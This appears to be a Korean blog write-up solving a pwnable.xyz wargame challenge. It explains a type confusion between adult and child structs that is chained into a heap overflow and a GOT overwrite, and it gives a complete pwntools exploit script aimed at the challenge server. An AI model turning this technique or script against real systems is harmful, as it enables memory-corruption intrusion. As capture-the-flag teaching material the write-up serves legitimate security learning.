어른과 아동을 나타내는 구조체에는 들어가는 정보는 같은데 순서가 다르다.

adult와 child의 age와 job 필드 위치가 다르다.
person = town[idx];
if ( person ) { type = person->adult.type; if ( type == CHILD ) { ++person->child.age; } else if ( type == ADULT ) { ++person->adult.age; } } |
age_up의 일부이다. person 객체의 age를 1 증가시킨다.
person = town[idx];
if ( person ) { type = person->adult.type; if ( type == CHILD ) { __printf_chk(1, "Name: "); read(0, person->child.name, 0x10uLL); __printf_chk(1, "Job: "); read(0, person->child.job, 0x20uLL); person->child.type = (person->child.age > 17uLL) + 1LL; } else if ( type == ADULT ) { __printf_chk(1, "Name: "); read(0, person->adult.name, 0x10uLL); __printf_chk(1, "Job: "); read(0, person->adult.job, 0x20uLL); person->adult.type = ((unsigned __int64)(person->adult.age - 19) <= 61) + 1LL; } } |
transform_person 코드 루틴이다. 만약 나이가 80을 넘으면 이 함수를 실행할 때마다 type이 0과 1로 번갈아가면서 반복된다.
adult 객체를 만들어서 age를 80을 넘기고 type이 0이 되면 age_up에서 job 포인터 값을 1씩 증가시킬 수 있다. 적당히 올린 뒤 heap overflow로 뒤에 있는 person 객체의 name이나 job 포인터 값을 수정해 GOT overwrite를 하면 된다.
type이 CHILD인 상태에서 transform을 하면 두 번째 read의 인자에 age 값이 들어가서 입력이 이뤄지지 않기 때문에, 버퍼에 입력값이 남아 있다는 점에 유의해야 한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
from pwn import *
import argparse def itob(i) : return str(i).encode() def CreateAdult(age:int, name:bytes, job:bytes) : p.writeafter(b'> ', b'1\x00') p.writeafter(b': ', itob(age)+b'\x00') p.writeafter(b': ', name) p.writeafter(b': ', job) def AgeUp(idx:int) : p.writeafter(b'> ', b'3\x00') p.writeafter(b': ', itob(idx)+b'\x00') def Transform(idx:int, name:bytes, job:bytes) : p.writeafter(b'> ', b'5\x00') p.writeafter(b': ', itob(idx)+b'\x00') p.writeafter(b': ', name) p.writeafter(b': ', job) def Delete(idx:int) : p.writeafter(b'> ', b'6\x00') p.writeafter(b': ', itob(idx)+b'\x00') def exploit() : free_got = 0x602018 CreateAdult(80, b'A', b'A') CreateAdult(20, b'B', b'B') AgeUp(0) Transform(0, b'A', b'A') for i in range(0x18) : AgeUp(0) payload = b'\x00'*0x10 payload += p64(0x31) payload += p64(free_got) Transform(0, b'A', b'5\x00') p.writeafter(b': ', b'0\x00') p.writeafter(b': ', b'A') p.writeafter(b': ', payload) Transform(1, p64(0x4009B3), b'B') Delete(0) p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30038, fam='ipv4') else : p = process('./challenge') exploit() |

Last update: 5/6/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / world (0) | 2020.05.11 |
---|---|
pwnable.xyz / door (0) | 2020.05.06 |
pwnable.xyz / Car shop (0) | 2020.05.06 |
pwnable.xyz / words (0) | 2020.05.05 |
pwnable.xyz / notebook (0) | 2020.05.03 |